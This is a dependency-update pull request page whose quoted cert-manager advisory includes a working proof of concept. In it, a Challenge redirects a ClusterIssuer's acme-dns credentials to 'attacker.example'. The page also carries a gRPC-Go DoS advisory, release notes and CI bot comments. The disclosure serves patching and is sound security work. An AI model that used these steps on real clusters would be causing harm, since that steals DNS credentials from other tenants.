Skip to content

[main] Update osv-vulnerability-alerts [SECURITY] (main) - #2173

Open
ospk8s-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/main-osv-vulnerability-alerts
Open

[main] Update osv-vulnerability-alerts [SECURITY] (main)#2173
ospk8s-renovate[bot] wants to merge 1 commit into
mainfrom
renovate/main-osv-vulnerability-alerts

Conversation

@ospk8s-renovate

@ospk8s-renovate ospk8s-renovate Bot commented Oct 13, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/cert-manager/cert-manager v1.18.6 → v1.19.6 age confidence
google.golang.org/grpc v1.83.1 → v1.83.2 age confidence

cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials

BIT-cert-manager-2026-62290 / CVE-2026-62290 / GHSA-8rvj-mm4h-c258

More information

Details

Summary

Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.

When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.

In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.

Attack preconditions
  • The attacker can create challenges.acme.cert-manager.io resources in at least one namespace.
  • The cert-manager controller is running and reconciles ACME Challenge resources cluster-wide.
  • A usable ClusterIssuer exists in the cluster.
  • The referenced ClusterIssuer has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for ClusterIssuer.
  • The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity

Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.

Why this is not just RBAC misconfiguration

cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.

The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.

Affected components
  • ACME Challenge admission validation
  • ACME Challenge controller
  • DNS01 solver selection and DNS provider construction
  • Default aggregate RBAC for challenges.acme.cert-manager.io
Affected versions tested

The issue was reproduced on:

  • master commit 2c0f1a6a4
  • latest production release v1.20.2 commit e5b7b1845
  • v1.19.5 commit cda7b7896
  • v1.18.6 commit 4699caabb

See VERSION_TEST_MATRIX.md for the command matrix and outputs.

Technical details

Relevant code paths:

  • internal/apis/acme/validation/challenge.go:44-45: ValidateChallenge returns no errors on create.
  • deploy/crds/acme.cert-manager.io_challenges.yaml: spec.solver is a required user-controlled field on Challenge.
  • pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.
  • pkg/controller/acmechallenges/controller.go:180-197: scheduler sets status.processing=true.
  • pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.
  • pkg/issuer/acme/dns/dns.go:81: DNS solver Present ignores the issuer object argument.
  • pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived from Challenge.spec.
  • pkg/controller/helper.go:39-44: ClusterIssuer references use the cluster resource namespace.
  • pkg/controller/helper.go:66-72: ambient credentials are allowed based on issuerRef.kind.
  • internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.
  • deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/update challenges and orders.

The normal Order flow selects a solver from the Issuer:

  • pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.
  • pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.
  • pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.

The direct Challenge flow skips that selection entirely because the direct object already contains a solver.

Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge

The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.

The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.

A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.

Run from the cert-manager repository root:

set -euo pipefail

name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null

cleanup() {
  docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT

for i in $(seq 1 90); do
  docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
  sleep 2
done

docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null

docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
  --from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: cluster-prod
spec:
  acme:
    email: admin@example.com
    server: https://acme-staging-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      name: cluster-prod-account-key
    solvers:
    - selector:
        dnsZones:
        - victim.example.com
      dns01:
        acmeDNS:
          host: https://legit-acmedns.example
          accountSecretRef:
            name: cluster-acmedns-account
            key: accounts.json
YAML

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: challenge-create-only
  namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
  resources: ["challenges"]
  verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: bob-challenge-create-only
  namespace: tenant
subjects:
- kind: ServiceAccount
  name: bob
  namespace: tenant
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: challenge-create-only
YAML

echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"

docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
  name: direct-dns01
spec:
  authorizationURL: https://attacker.example/acme/authz/1
  dnsName: victim.example.com
  issuerRef:
    group: cert-manager.io
    kind: ClusterIssuer
    name: cluster-prod
  key: attacker-key
  token: attacker-token
  type: DNS-01
  url: https://attacker.example/acme/chal/1
  solver:
    dns01:
      acmeDNS:
        host: https://attacker.example/acmedns
        accountSecretRef:
          name: cluster-acmedns-account
          key: accounts.json
YAML

docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
  -o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'

Expected output:

bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account

This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.

PoC B: acme-dns provider sends referenced credentials to the configured host

This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.

Run from repository root:

set -euo pipefail

cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns

import (
        "context"
        "net/http"
        "net/http/httptest"
        "testing"
)

func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
        var gotUser, gotKey, gotPath string

        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                gotPath = r.URL.Path
                gotUser = r.Header.Get("X-Api-User")
                gotKey = r.Header.Get("X-Api-Key")
                w.Header().Set("Content-Type", "application/json")
                w.WriteHeader(http.StatusOK)
                w.Write([]byte(`{"txt":"ok"}`))
        }))
        defer ts.Close()

        accountJSON := []byte(`{
                "victim.example.com": {
                        "username": "victim-user",
                        "password": "victim-pass",
                        "fulldomain": "x.example.org",
                        "subdomain": "x"
                }
        }`)

        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
        if err != nil {
                t.Fatal(err)
        }

        if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
                t.Fatal(err)
        }

        if gotPath != "/update" {
                t.Fatalf("path = %q, want /update", gotPath)
        }
        if gotUser != "victim-user" {
                t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
        }
        if gotKey != "victim-pass" {
                t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
        }
}
EOF

docker run --rm \
  -v "$PWD":/repo \
  -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
  -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
  -w /repo golang:1.26-bookworm \
  go test ./pkg/issuer/acme/dns/acmedns \
  -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
  -count=1 -v

rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go

Expected output:

=== RUN   TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost

Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.

Credential impact scope

The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.

For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.

Expected behavior

Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.

Actual behavior

A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.

Suggested remediation

Possible mitigations:

  • Reject or ignore standalone user-created Challenge resources unless the controller or admission layer can confirm an existing cert-manager-created Order that owns the Challenge.
  • Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
  • Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
  • Move Challenge and Order creation permissions out of aggregate edit unless direct use is a supported security boundary.
  • Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing :authority and Host headers

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj

More information

Details

A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).

Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.

This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic.

  • Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash.
  • mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.
Impact

An attacker can cause a complete outage of the gRPC server by sending a request missing both :authority and Host headers, provided they can successfully establish a transport connection.

Patches

The issue has been addressed in master (and backported to 1.84.0, 1.83.2 and 1.82.2). The fix updates the HTTP/2 transport layer to reject requests missing both :authority and Host headers early, maintaining consistency with and other gRPC language implementations.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing :authority and Host headers

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj / GO-2026-6443

More information

Details

A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).

Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.

This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic.

  • Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash.
  • mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.
Impact

An attacker can cause a complete outage of the gRPC server by sending a request missing both :authority and Host headers, provided they can successfully establish a transport connection.

Patches

The issue has been addressed in master (and backported to 1.84.0, 1.83.2 and 1.82.2). The fix updates the HTTP/2 transport layer to reject requests missing both :authority and Host headers early, maintaining consistency with and other gRPC language implementations.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Server panic via missing authority or Host headers in google.golang.org/grpc

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj / GO-2026-6443

More information

Details

In google.golang.org/grpc, servers configured with xDS routing can panic when processing requests that lack both :authority and Host headers. The HTTP/2 transport layer accepted requests missing these headers, and the xDS server routing interceptor attempted to index the empty authority slice, causing an unhandled panic and terminating the server.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

cert-manager/cert-manager (github.com/cert-manager/cert-manager)

v1.19.6

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

This patch release fixes a security issue (GHSA-8rvj-mm4h-c258, HIGH) where the default cert-manager-edit aggregate ClusterRole granted namespace users permission to create ACME Challenge and Order resources directly. A user who could create a Challenge referencing a ClusterIssuer could supply attacker-controlled solver configuration while cert-manager loaded credentials from the ClusterIssuer's namespace, bypassing Issuer solver selectors (dnsZones, dnsNames, matchLabels). With the acme-dns provider specifically, this could disclose DNS credentials to an attacker-controlled endpoint.

This release also includes Go version bumps to address reported CVEs. All users should upgrade.

[!WARNING]
Potentially breaking change: The cert-manager-edit aggregate ClusterRole no longer grants create for challenges.acme.cert-manager.io or create, patch, update for orders.acme.cert-manager.io. These resources are internal to cert-manager's ACME workflow and are not intended to be created or modified directly by users. If you have tooling or workflows that create Challenge or Order resources directly (outside of the normal Certificate → CertificateRequest → Order → Challenge flow), you will need to grant those permissions explicitly.

Changes by Kind
Bug or Regression
Other (Cleanup or Flake)

v1.19.5

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

This is a simple patch release to fix some reported vulnerabilities. All users are recommended to upgrade.

Changes by Kind
Other (Cleanup or Flake)

v1.19.4

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

v1.19.4 is a simple patch release to fix some reported vulnerabilities - notably CVE-2026-24051 and CVE-2025-68121. All users should upgrade.

Changes by Kind
Bug or Regression

v1.19.3

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

This release contains three bug fixes, including a fix for the MODERATE severity DoS issue in GHSA-gx3x-vq4p-mhhv. All users should upgrade to the latest release.

Changes by Kind
Bug or Regression
  • Fixed an infinite re-issuance loop that could occur when an issuer returns a certificate with a public key that doesn't match the CSR. The issuing controller now validates the certificate before storing it and fails with backoff on mismatch. (#​8415, @​cert-manager-bot)
  • Fixed an issue where HTTP-01 challenges failed when the Host header contained an IPv6 address. This means that users can now issue IP address certificates for IPv6 address subjects. (#​8436, @​cert-manager-bot)
  • Security (MODERATE): Fix a potential panic in the cert-manager controller when a DNS response in an unexpected order was cached. If an attacker was able to modify DNS responses (or if they controlled the DNS server) it was possible to cause denial of service for the cert-manager controller. (#​8468, @​SgtCoDFish)
Other (Cleanup or Flake)

v1.19.2

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

We updated Go to fix some vulnerabilities in the standard library.

📖 Read the full 1.19 release notes on the cert-manager.io website before upgrading.

Changes since v1.19.1
Bug or Regression
  • Address false positive vulnerabilities CVE-2025-47914 and CVE-2025-58181 which were reported by Trivy. (#​8283, @​SgtCoDFish)
  • Update Go to v1.25.5 to fix CVE-2025-61727 and CVE-2025-61729 (#​8294, @​wallrj-cyberark)
  • Update global.nodeSelector to helm chart to perform a merge and allow for a single nodeSelector to be set across all services. (#​8233, @​cert-manager-bot)
Other (Cleanup or Flake)

v1.19.1

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

We reverted the CRD-based API defaults for Certificate.Spec.IssuerRef and CertificateRequest.Spec.IssuerRef after they were found to cause unexpected certificate renewals after upgrading to 1.19.0. We will try re-introducing these API defaults in cert-manager 1.20.
We fixed a bug that caused certificates to be re-issued unexpectedly if the issuerRef kind or group was changed to one of the "runtime" default values.
We upgraded Go to 1.25.3 to address the following security vulnerabilities: CVE-2025-61724, CVE-2025-58187, CVE-2025-47912, CVE-2025-58183, CVE-2025-61723, CVE-2025-58186, CVE-2025-58185, CVE-2025-58188, and CVE-2025-61725.

📖 Read the full 1.19 release notes on the cert-manager.io website before upgrading.

Changes since v1.19.0:

Bug or Regression
  • BUGFIX: in case kind or group in the issuerRef of a Certificate was omitted, upgrading to 1.19.x incorrectly caused the certificate to be renewed (#​8175, @​cert-manager-bot)
  • Bump Go to 1.25.3 to fix a backwards incompatible change to the validation of DNS names in X.509 SAN fields which prevented the use of DNS names with a trailing dot (#​8177, @​wallrj-cyberark)
  • Revert API defaults for issuer reference kind and group introduced in 0.19.0 (#​8178, @​cert-manager-bot)

v1.19.0

Compare Source

cert-manager is the easiest way to automatically manage certificates in Kubernetes and OpenShift clusters.

⚠️ Known issues: The following known issues are fixed in v1.19.1:

This release focuses on expanding platform compatibility, improving deployment flexibility, enhancing observability, and addressing key reliability issues.

📖 Read the full release notes at cert-manager.io: https://cert-manager.io/docs/releases/release-notes/release-notes-1.19

Changes since v1.18.0:

Feature
  • Add IPv6 rules to the default network policy (#​7726, @​jcpunk)
  • Add global.nodeSelector to helm chart to allow for a single nodeSelector to be set across all services. (#​7818, @​StingRayZA)
  • Add a feature gate to default to Ingress pathType Exact in ACME HTTP01 Ingress challenge solvers. (#​7795, @​sspreitzer)
  • Add generated applyconfigurations allowing clients to make type-safe server-side apply requests for cert-manager resources. (#​7866, @​erikgb)
  • Added API defaults to issuer references group (cert-manager.io) and kind (Issuer). (#​7414, @​erikgb)
  • Added certmanager_certificate_challenge_status Prometheus metric. (#​7736, @​hjoshi123)
  • Added protocol field for rfc2136 DNS01 provider (#​7881, @​hjoshi123)
  • Added experimental field hostUsers flag to all pods. Not set by default. (#​7973, @​hjoshi123)
  • Support configurable resource requests and limits for ACME HTTP01 solver pods through ClusterIssuer and Issuer specifications, allowing granular resource management that overrides global --acme-http01-solver-resource-* settings. (#​7972, @​lunarwhite)
  • The CAInjectorMerging feature has been promoted to BETA and is now enabled by default (#​8017, @​ThatsMrTalbot)
  • The controller, webhook and ca-injector now log their version and git commit on startup for easier debugging and support. (#​8072, @​prasad89)
  • Updated certificate metrics to the collector approach. (#​7856, @​hjoshi123)
Bug or Regression
  • ACME: Increased challenge authorization timeout to 2 minutes to fix error waiting for authorization (#​7796, @​hjoshi123)
  • BUGFIX: permitted URI domains were incorrectly used to set the excluded URI domains in the CSR's name constraints (#​7816, @​kinolaev)
  • Enforced ACME HTTP-01 solver validation to properly reject configurations when multiple ingress options (class, ingressClassName, name) are specified simultaneously (#​8021, @​lunarwhite)
  • Increase maximum sizes of PEM certificates and chains which can be parsed in cert-manager, to handle leaf certificates with large numbers of DNS names or other identities (#​7961, @​SgtCoDFish)
  • Reverted adding the global.rbac.disableHTTPChallengesRole Helm option. (#​7836, @​inteon)
  • This change removes the path label of core ACME client metrics and will require users to update their monitoring dashboards and alerting rules if using those metrics. (#​8109, @​mladen-rusev-cyberark)
  • Use the latest version of ingress-nginx in E2E tests to ensure compatibility (#​7792, @​wallrj)
Other (Cleanup or Flake)
  • Helm: Fix naming template of tokenrequest RoleBinding resource to improve consistency (#​7761, @​lunarwhite)
  • Improve error messages when certificates, CRLs or private keys fail admission due to malformed or missing PEM data (#​7928, @​SgtCoDFish)
  • Major upgrade of Akamai SDK. NOTE: The new version has not been fully tested end-to-end due to the lack of cloud infrastructure. (#​8003, @​hjoshi123)
  • Update kind images to include the Kubernetes 1.33 node image (#​7786, @​wallrj)
  • Use maps.Copy for cleaner map handling (#​8092, @​quantpoet)
  • Vault: Migrate Vault E2E add-on tests from deprecated vault-client-go to the new vault/api client. (#​8059, @​armagankaratosun)
grpc/grpc-go (google.golang.org/grpc)

v1.83.2: Release 1.83.2

Compare Source

Security

  • server: Reject requests missing both :authority and Host headers with HTTP 400 and status Internal. (#​9365)

Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@openshift-ci
openshift-ci Bot requested review from abays and dprince October 13, 2026 07:43
@openshift-ci

openshift-ci Bot commented Oct 13, 2026

Copy link
Copy Markdown
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: ospk8s-renovate[bot]
Once this PR has been reviewed and has the lgtm label, please assign fultonj for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@openshift-ci

openshift-ci Bot commented Oct 13, 2026

Copy link
Copy Markdown
Contributor

Hi @ospk8s-renovate[bot]. Thanks for your PR.

I'm waiting for a openstack-k8s-operators member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work.

Regular contributors should join the org to skip this step.

Once the patch is verified, the new status will be reflected by the ok-to-test label.

I understand the commands that are listed here.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

@coderabbitai

coderabbitai Bot commented Oct 13, 2026 •
edited
Loading

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

Run configuration
  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Central YAML (base), Organization UI (inherited)
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 88b44e0e-a7df-455d-9d0c-3d988db71f44

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Comment @coderabbitai help to get the list of available commands.

@github-actions

github-actions Bot commented Oct 13, 2026 •
edited
Loading

Copy link
Copy Markdown

OpenStackControlPlane CRD Size Report

Metric Value
CRD JSON size 345173 bytes (337KB)
Base branch size 345173 bytes
Change +0.00%
Status yellow — growing
Threshold reference
Color Range Meaning
🟢 green < 300KB Comfortable
🟡 yellow 300–400KB Growing
🟠 orange 400–750KB Concerning
🔴 red > 750KB Approaching 1.5MB etcd limit (cut in half to allow space for update)

@centosinfra-prod-github-app

centosinfra-prod-github-app Bot commented Oct 13, 2026

Copy link
Copy Markdown

Build failed (check pipeline). Post recheck (without leading slash)
to rerun all jobs. Make sure the failure cause has been resolved before
you rerun jobs.

https://gateway-cloud-softwarefactory.apps.ocp.cloud.ci.centos.org/zuul/t/rdoproject.org/buildset/d05ed963141344638bcdf09419c8ecb7

✔️ openstack-k8s-operators-content-provider SUCCESS in 3h 54m 07s
✔️ openstack-operator-content-provider-cs10 SUCCESS in 3h 59m 11s
✔️ podified-multinode-edpm-deployment-crc SUCCESS in 1h 17m 55s
✔️ openstack-operator-crc-podified-edpm-baremetal SUCCESS in 1h 26m 19s
✔️ podified-multinode-edpm-deployment-crc-antelope SUCCESS in 1h 18m 24s
❌ adoption-standalone-to-crc-ceph-provider FAILURE in 1h 53m 42s (non-voting)
❌ openstack-operator-tempest-multinode FAILURE in 1h 22m 51s
❌ openstack-operator-edpm-baremetal-minor-update FAILURE in 1h 59m 06s (non-voting)

@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/main-osv-vulnerability-alerts branch from 17e74eb to 698c679 Compare October 28, 2026 00:43
@ospk8s-renovate ospk8s-renovate Bot changed the title [main] Update module google.golang.org/grpc to v1.83.2 [SECURITY] (main) [main] Update osv-vulnerability-alerts [SECURITY] (main) Oct 28, 2026
@ospk8s-renovate

ospk8s-renovate Bot commented Oct 28, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: api/go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 13 additional dependencies were updated

Details:

Package Change
k8s.io/api v0.33.13 -> v0.34.1
k8s.io/apimachinery v0.33.13 -> v0.34.1
k8s.io/client-go v0.33.13 -> v0.34.1
sigs.k8s.io/controller-runtime v0.21.0 -> v0.22.3
github.com/go-openapi/jsonpointer v0.21.1 -> v0.22.1
github.com/go-openapi/jsonreference v0.21.0 -> v0.21.2
github.com/prometheus/client_golang v1.22.0 -> v1.23.2
